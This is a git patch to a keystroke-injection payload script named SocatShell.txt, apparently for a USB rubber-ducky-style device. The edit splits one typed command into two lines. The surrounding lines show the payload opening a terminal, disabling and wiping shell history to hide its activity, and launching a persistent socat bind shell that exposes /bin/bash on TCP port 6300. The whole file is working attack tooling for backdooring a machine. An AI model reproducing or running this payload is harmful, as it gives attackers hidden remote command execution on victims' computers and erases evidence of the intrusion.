From b96034eafd64e9e1f15e3ab2c56a1eaf8b8f1f3f Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:36:37 -0500 Subject: [PATCH] Update SocatShell.txt --- RECON/SocatShell.txt | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/RECON/SocatShell.txt b/RECON/SocatShell.txt index c08f823..5361c53 100644 --- a/RECON/SocatShell.txt +++ b/RECON/SocatShell.txt @@ -26,7 +26,13 @@ STRING terminal DELAY 1000 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER ENTER DELAY 500 STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null &